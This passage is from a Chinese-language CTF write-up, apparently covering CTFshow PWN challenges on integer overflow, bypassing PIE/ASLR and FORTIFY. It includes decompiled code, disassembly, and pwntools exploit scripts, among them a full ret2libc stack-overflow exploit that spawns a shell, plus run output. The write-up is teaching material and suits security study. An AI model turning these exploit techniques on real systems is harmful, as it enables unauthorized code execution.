you:&quot;</span>);</span><br><span class="line">  useful();</span><br><span class="line">  v4 = <span class="number">0x80000000</span>;</span><br><span class="line">  n0x7FFFFFFF = <span class="number">0x7FFFFFFF</span>;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter two integers: &quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)__isoc99_scanf(<span class="string">&quot;%d %d&quot;</span>, &amp;v4, &amp;n0x7FFFFFFF) == <span class="number">2</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v4 == <span class="number">0x80000000</span> &amp;&amp; n0x7FFFFFFF == <span class="number">0x7FFFFFFF</span> )</span><br><span class="line">      gift();</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;upover = %d, downover = %d\n&quot;</span>, v4, n0x7FFFFFFF);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Error: Invalid input. Please enter two integers.&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个很简单的逻辑，先看到有一个useful函数，然后给v4和v5赋值为 0x80000000,0x7FFFFFFF,再提示用户输入两个整数，并将它存储在变量v4和v5中，返回值被强制转换为无符号数，然后与2进行比较。满足后进入下一个if语句，不满足则输出错误信息。如果输入的两个整数分别等于v4跟v5的初始值，则进入这个条件分支，有一个gift函数。如果输入的两个整数不是初始值，则输出这两个数的值。</p><p>分别跟进几个不知道干啥的函数useful:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">useful</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot; ====================================================================================================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;           Type         |      Byte      |                          Range                            &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot; ====================================================================================================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff                   &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;   unsigned short int   |     2 byte     |                        0~0xffff                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff            &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    unsigned int        |     4 byte     |                        0~0xffffffff                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff                   &quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot; ====================================================================================================&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的<strong>0 ~ 0x7fffffff</strong>就是 <strong>0~2147483647</strong> ，</p><p><strong>0x80000000 ~ 0xffffffff</strong>就是 <strong>-2147483648 ~ -1</strong></p><p>gift：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">gift</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;This is the first question of this type&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Here is you want:&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么就很简单了只要我们输入的数等于它的初始值满足此条件即可</p><p>输入-2147483648 2147483647</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Integer_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Learn something first !</span><br><span class="line">    * *************************************</span><br><span class="line">Maybe these <span class="built_in">help</span> you:</span><br><span class="line"> ====================================================================================================</span><br><span class="line">           Type         |      Byte      |                          Range</span><br><span class="line"> ====================================================================================================</span><br><span class="line">      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff</span><br><span class="line">   unsigned short int   |     2 byte     |                        0~0xffff</span><br><span class="line">          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff</span><br><span class="line">    unsigned int        |     4 byte     |                        0~0xffffffff</span><br><span class="line">      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff</span><br><span class="line">   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff</span><br><span class="line"> ====================================================================================================</span><br><span class="line">Enter two integers: -2147483648 2147483647</span><br><span class="line">This is the first question of this <span class="built_in">type</span></span><br><span class="line">Here is you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&quot;-2147483648 2147483647&quot;</span> <span class="comment"># 2147483648 2147483647 也可以</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;Enter two integers: &quot;</span>,payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn131-ubunt18"><a href="#pwn131-ubunt18" class="headerlink" title="pwn131(ubunt18)"></a>pwn131(ubunt18)</h2><h6 id="Hint：常规绕过"><a href="#Hint：常规绕过" class="headerlink" title="Hint：常规绕过"></a>Hint：常规绕过</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序仅关闭Canary</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;main addr is here :&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%p\n&quot;</span>, main);</span><br><span class="line">  ctfshow();</span><br><span class="line">  write(<span class="number">0</span>, <span class="string">&quot;Hello CTFshow!\n&quot;</span>, <span class="number">0xEu</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现程序输出了main函数的地址</p><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">132</span>]; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的栈溢出漏洞</p><p>接着看：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb ./pwn</span><br><span class="line">pwndbg&gt; disas /r main</span><br><span class="line">Dump of assembler code <span class="keyword">for</span> <span class="keyword">function</span> main:</span><br><span class="line">   0x0000079a &lt;+0&gt;:8d 4c 24 04        lea    ecx,[esp+0x4]</span><br><span class="line">   0x0000079e &lt;+4&gt;:83 e4 f0           and    esp,0xfffffff0</span><br><span class="line">   0x000007a1 &lt;+7&gt;:ff 71 <span class="built_in">fc</span>           push   DWORD PTR [ecx-0x4]</span><br><span class="line">   0x000007a4 &lt;+10&gt;:55                 push   ebp</span><br><span class="line">   0x000007a5 &lt;+11&gt;:89 e5              mov    ebp,esp</span><br><span class="line">   0x000007a7 &lt;+13&gt;:53                 push   ebx</span><br><span class="line">   0x000007a8 &lt;+14&gt;:51                 push   ecx</span><br><span class="line">   0x000007a9 &lt;+15&gt;:e8 72 fd ff ff     call   0x520 &lt;__x86.get_pc_thunk.bx&gt;</span><br><span class="line">   0x000007ae &lt;+20&gt;:81 c3 12 28 00 00  add    ebx,0x2812</span><br><span class="line">   0x000007b4 &lt;+26&gt;:e8 64 fe ff ff     call   0x61d &lt;init&gt;</span><br><span class="line">   0x000007b9 &lt;+31&gt;:e8 a5 fe ff ff     call   0x663 &lt;logo&gt;</span><br><span class="line">   0x000007be &lt;+36&gt;:83 ec 0c           sub    esp,0xc</span><br><span class="line">   0x000007c1 &lt;+39&gt;:8d 83 eb <span class="built_in">dd</span> ff ff  lea    eax,[ebx-0x2215]</span><br><span class="line">   0x000007c7 &lt;+45&gt;:50                 push   eax</span><br><span class="line">   0x000007c8 &lt;+46&gt;:e8 c3 <span class="built_in">fc</span> ff ff     call   0x490 &lt;puts@plt&gt;</span><br><span class="line">   0x000007cd &lt;+51&gt;:83 c4 10           add    esp,0x10</span><br><span class="line">   0x000007d0 &lt;+54&gt;:83 ec 08           sub    esp,0x8</span><br><span class="line">   0x000007d3 &lt;+57&gt;:8d 83 da d7 ff ff  lea    eax,[ebx-0x2826]</span><br><span class="line">   0x000007d9 &lt;+63&gt;:50                 push   eax</span><br><span class="line">   0x000007da &lt;+64&gt;:8d 83 ff <span class="built_in">dd</span> ff ff  lea    eax,[ebx-0x2201]</span><br><span class="line">   0x000007e0 &lt;+70&gt;:50                 push   eax</span><br><span class="line">   0x000007e1 &lt;+71&gt;:e8 9a <span class="built_in">fc</span> ff ff     call   0x480 &lt;<span class="built_in">printf</span>@plt&gt;</span><br><span class="line">   0x000007e6 &lt;+76&gt;:83 c4 10           add    esp,0x10</span><br><span class="line">   0x000007e9 &lt;+79&gt;:e8 77 ff ff ff     call   0x765 &lt;ctfshow&gt;</span><br><span class="line">   0x000007ee &lt;+84&gt;:83 ec 04           sub    esp,0x4</span><br><span class="line">   0x000007f1 &lt;+87&gt;:6a 0e              push   0xe</span><br><span class="line">   0x000007f3 &lt;+89&gt;:8d 83 03 de ff ff  lea    eax,[ebx-0x21fd]</span><br><span class="line">   0x000007f9 &lt;+95&gt;:50                 push   eax</span><br><span class="line">   0x000007fa &lt;+96&gt;:6a 00              push   0x0</span><br><span class="line">   0x000007fc &lt;+98&gt;:e8 af <span class="built_in">fc</span> ff ff     call   0x4b0 &lt;write@plt&gt;</span><br><span class="line">   0x00000801 &lt;+103&gt;:83 c4 10           add    esp,0x10</span><br><span class="line">   0x00000804 &lt;+106&gt;:b8 00 00 00 00     mov    eax,0x0</span><br><span class="line">   0x00000809 &lt;+111&gt;:8d 65 f8           lea    esp,[ebp-0x8]</span><br><span class="line">   0x0000080c &lt;+114&gt;:59                 pop    ecx</span><br><span class="line">   0x0000080d &lt;+115&gt;:5b                 pop    ebx</span><br><span class="line">   0x0000080e &lt;+116&gt;:5d                 pop    ebp</span><br><span class="line">   0x0000080f &lt;+117&gt;:8d 61 <span class="built_in">fc</span>           lea    esp,[ecx-0x4]</span><br><span class="line">   0x00000812 &lt;+120&gt;:c3                 ret</span><br><span class="line">End of assembler dump.</span><br><span class="line"></span><br><span class="line">pwndbg&gt; disas /r ctfshow</span><br><span class="line">Dump of assembler code <span class="keyword">for</span> <span class="keyword">function</span> ctfshow:</span><br><span class="line">   0x00000765 &lt;+0&gt;:55                 push   ebp</span><br><span class="line">   0x00000766 &lt;+1&gt;:89 e5              mov    ebp,esp</span><br><span class="line">   0x00000768 &lt;+3&gt;:53                 push   ebx</span><br><span class="line">   0x00000769 &lt;+4&gt;:81 ec 84 00 00 00  sub    esp,0x84</span><br><span class="line">   0x0000076f &lt;+10&gt;:e8 9f 00 00 00     call   0x813 &lt;__x86.get_pc_thunk.ax&gt;</span><br><span class="line">   0x00000774 &lt;+15&gt;:05 4c 28 00 00     add    eax,0x284c</span><br><span class="line">   0x00000779 &lt;+20&gt;:83 ec 04           sub    esp,0x4</span><br><span class="line">   0x0000077c &lt;+23&gt;:68 00 01 00 00     push   0x100</span><br><span class="line">   0x00000781 &lt;+28&gt;:8d 95 78 ff ff ff  lea    edx,[ebp-0x88]</span><br><span class="line">   0x00000787 &lt;+34&gt;:52                 push   edx</span><br><span class="line">   0x00000788 &lt;+35&gt;:6a 00              push   0x0</span><br><span class="line">   0x0000078a &lt;+37&gt;:89 c3              mov    ebx,eax</span><br><span class="line">   0x0000078c &lt;+39&gt;:e8 <span class="built_in">df</span> <span class="built_in">fc</span> ff ff     call   0x470 &lt;<span class="built_in">read</span>@plt&gt;</span><br><span class="line">   0x00000791 &lt;+44&gt;:83 c4 10           add    esp,0x10</span><br><span class="line">   0x00000794 &lt;+47&gt;:90                 nop</span><br><span class="line">   0x00000795 &lt;+48&gt;:8b 5d <span class="built_in">fc</span>           mov    ebx,DWORD PTR [ebp-0x4]</span><br><span class="line">   0x00000798 &lt;+51&gt;:c9                 leave</span><br><span class="line">   0x00000799 &lt;+52&gt;:c3                 ret</span><br><span class="line">End of assembler dump.</span><br></pre></td></tr></table></figure><p><code>ctfshow</code>函数的栈操作有个细节：</p><ul><li>进入函数时：<code>push ebx</code>（把当前<code>ebx</code>保存到栈上，位置是<code>ebp-0x4</code>）；</li><li>退出函数时：<code>mov ebx, [ebp-0x4]</code>（从栈上恢复<code>ebx</code>）。</li></ul><p>如果栈溢出时覆盖了<code>ebp-0x4</code>的内容（保存<code>ebx</code>的位置），导致恢复的<code>ebx</code>错误，调用任何函数都会崩溃。所以<strong>溢出时必须手动填对<code>ebx</code>的值</strong>。</p><p>所以与之前的不同，它不再对程序的原始字节码做修改，⽽是使⽤⼀类__x86.get_pc_thunk.xx函数，通过PC指针来进⾏定位</p><p><code>__x86.get_pc_thunk.bx的作⽤将下⼀条指令的地址赋值给ebx寄存器，然后通过加上⼀个偏移，得到当前进程GOT表的地址，并以此作为后续操作的基地址</code></p><p>ebx &#x3D; 0x7ae + 0x2812 &#x3D; 0x2fc0</p><p>程序在运⾏时，这个基地址就是程序第三部分的起始位置</p><p>由于在函数末尾有恢复ebx寄存器的⾏为，因此需要在溢出时需要将GOT地址也覆盖上去，⾄此就完成了ASLR和PIE的绕过。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line"># 构造第一个payload：调用write泄露write的实际地址</span><br><span class="line"># 栈布局（以ctfshow的ebp为基准）：</span><br><span class="line"># [ebp-0x88~ebp-1]：buf[132] → 用132字节填充</span><br><span class="line"># [ebp-0x4]：保存的ebx → 填ebx_addr（恢复ebx）</span><br><span class="line"># [ebp]：旧ebp → 填“bbbb”（随便填，不影响）</span><br><span class="line"># [ebp+4]：返回地址 → 填write_plt（调用write）</span><br><span class="line"># [ebp+8]：write的返回地址 → 填ctfshow_addr（写完后回到ctfshow，等第二次溢出）</span><br><span class="line"># [ebp+12]：write的参数3（count=4）→ 32位地址占4字节，读4字节就行</span><br><span class="line"># [ebp+16]：write的参数2（buf=write_got）→ 输出write_got里的内容（write实际地址）</span><br><span class="line"># [ebp+20]：write的参数1（fd=1）→ 1是stdout（标准输出），把内容打印到屏幕</span><br><span class="line"></span><br><span class="line"># 构造第二个payload：调用system(&quot;/bin/sh&quot;)</span><br><span class="line"># 栈布局：</span><br><span class="line"># 前140字节：填充到返回地址（132(buf) + 4(ebx) + 4(ebp) = 140）</span><br><span class="line"># [ebp+4]：返回地址 → 填system_addr（调用system）</span><br><span class="line"># [ebp+8]：system的返回地址 → 填0（随便填，不影响）</span><br><span class="line"># [ebp+12]：system的参数（/bin/sh地址）→ 填binsh_addr</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第一步：泄露程序基地址</span></span><br><span class="line">io.recvuntil(<span class="string">b&quot;main addr is here :\n&quot;</span>) </span><br><span class="line">main_addr = <span class="built_in">int</span>(io.recvline(),<span class="number">16</span>)  <span class="comment"># 接收main的实际地址（如0x5655679a），转成16进制整数</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(main_addr))</span><br><span class="line">base_addr = main_addr - elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">ctfshow_addr = base_addr + elf.sym[<span class="string">&#x27;ctfshow&#x27;</span>]</span><br><span class="line">write_plt = base_addr + elf.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_got = base_addr + elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">ebx_addr = base_addr + <span class="number">0x2fc0</span>  <span class="comment"># 正确的ebx值（编译时GOT基址偏移是0x2fc0，加基地址得实际值）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 构造第一个payload：调用write泄露write的实际地址</span></span><br><span class="line">payload1 = cyclic(<span class="number">132</span>) + p32(ebx_addr) + <span class="string">b&#x27;bbbb&#x27;</span> + p32(write_plt) + p32(ctfshow_addr) + p32(<span class="number">1</span>) + p32(write_got) + p32(<span class="number">4</span>)</span><br><span class="line">io.send(payload1)  <span class="comment">#触发栈溢出，调用write泄露地址</span></span><br><span class="line">write_actual_addr = u32(io.recv(<span class="number">4</span>)) <span class="comment">#接收write泄露的地址（4字节），转成整数</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(write_actual_addr))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二步：计算libc基地址</span></span><br><span class="line">libc_base = write_actual_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">binsh_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">payload2 = cyclic(<span class="number">140</span>) + p32(system_addr) + p32(<span class="number">0</span>) + p32(binsh_addr)</span><br><span class="line">io.send(payload2)  <span class="comment">#触发栈溢出，调用system拿到shell</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 89</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0x5a86679a</span><br><span class="line">0xf7381b80</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn132"><a href="#pwn132" class="headerlink" title="pwn132"></a>pwn132</h2><h6 id="Hint：非常简单的逻辑"><a href="#Hint：非常简单的逻辑" class="headerlink" title="Hint：非常简单的逻辑"></a>Hint：非常简单的逻辑</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开，这⾥并没有开启FORTIFY保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE s[<span class="number">24</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x10u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What do you want?&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%3$#p\n&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  ctfshow(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">ctfshow</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *p_s)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strncmp</span>(p_s, <span class="string">&quot;CTFshow-daniu&quot;</span>, <span class="number">0xDu</span>) )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;You are too young to simple!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Good boy!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到当输⼊的字符串为“CTFshow-daniu”时就能得到⼀个shell，由于没有开启FORTIFY保护，程序也就能正常执⾏：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;CTFshow-daniu&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 104</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Simply bypass it!</span><br><span class="line">    * *************************************</span><br><span class="line">What <span class="keyword">do</span> you want?</span><br><span class="line">0x7286d1669574</span><br><span class="line">Good boy!</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn133"><a href="#pwn133" class="headerlink" title="pwn133"></a>pwn133</h2><h6 id="Hint：保护一开，傻傻分不清了"><a href="#Hint：保护一开，傻傻分不清了" class="headerlink" title="Hint：保护一开，傻傻分不清了~"></a>Hint：保护一开，傻傻分不清了~</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    FORTIFY:    Enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开，可以看到这次开启了FORTIFY保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _QWORD v4[<span class="number">5</span>]; <span class="comment">// [rsp+0h] [rbp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  v4[<span class="number">3</span>] = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  v4[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  v4[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What do you want?&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, v4);</span><br><span class="line">  ctfshow(v4);</span><br><span class="line">  __printf_chk(<span class="number">1</span>, <span class="string">&quot;%9$#p\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同上⼀题⽐较，发现有些不安全函数已经被替换成安全函数了</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Simply bypass it!</span><br><span class="line">    * *************************************</span><br><span class="line">What <span class="keyword">do</span> you want?</span><br><span class="line">CTFshow-daniu</span><br><span class="line">Good boy!</span><br><span class="line">*** invalid %N$ use detected ***</span><br><span class="line">Aborted (core dumped)</span><br></pre></td></tr></table></figure><p>此时已经开启了缓冲区溢出攻击检查（不过这⾥也开启了Canary保护）</p><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">ctfshow</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">bool</span> v2; <span class="comment">// al</span></span><br><span class="line">  <span class="type">bool</span> v3; <span class="comment">// cf</span></span><br><span class="line">  <span class="type">bool</span> v4; <span class="comment">// zf</span></span><br><span class="line">  __int64 n5; <span class="comment">// rcx</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *p_Stack; <span class="comment">// rdi</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v7; <span class="comment">// rsi</span></span><br><span class="line">  <span class="type">char</span> v8; <span class="comment">// al</span></span><br><span class="line">  <span class="type">bool</span> v9; <span class="comment">// cf</span></span><br><span class="line">  <span class="type">bool</span> v10; <span class="comment">// zf</span></span><br><span class="line">  __int64 n3; <span class="comment">// rcx</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *p_Fmt; <span class="comment">// rdi</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v13; <span class="comment">// rsi</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="built_in">memcmp</span>(a1, <span class="string">&quot;CTFshow-daniu&quot;</span>, <span class="number">0xDu</span>) != <span class="number">0</span>;</span><br><span class="line">  v3 = <span class="number">0</span>;</span><br><span class="line">  v4 = !v2;</span><br><span class="line">  <span class="keyword">if</span> ( v2 )</span><br><span class="line">  &#123;</span><br><span class="line">    n5 = <span class="number">5</span>;</span><br><span class="line">    p_Stack = <span class="string">&quot;Stack&quot;</span>;</span><br><span class="line">    v7 = (<span class="type">const</span> <span class="type">char</span> *)a1;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !n5 )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      v3 = *v7 &lt; (<span class="type">unsigned</span> <span class="type">int</span>)*p_Stack;</span><br><span class="line">      v4 = *v7++ == *p_Stack++;</span><br><span class="line">      --n5;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v4 );</span><br><span class="line">    v8 = (!v3 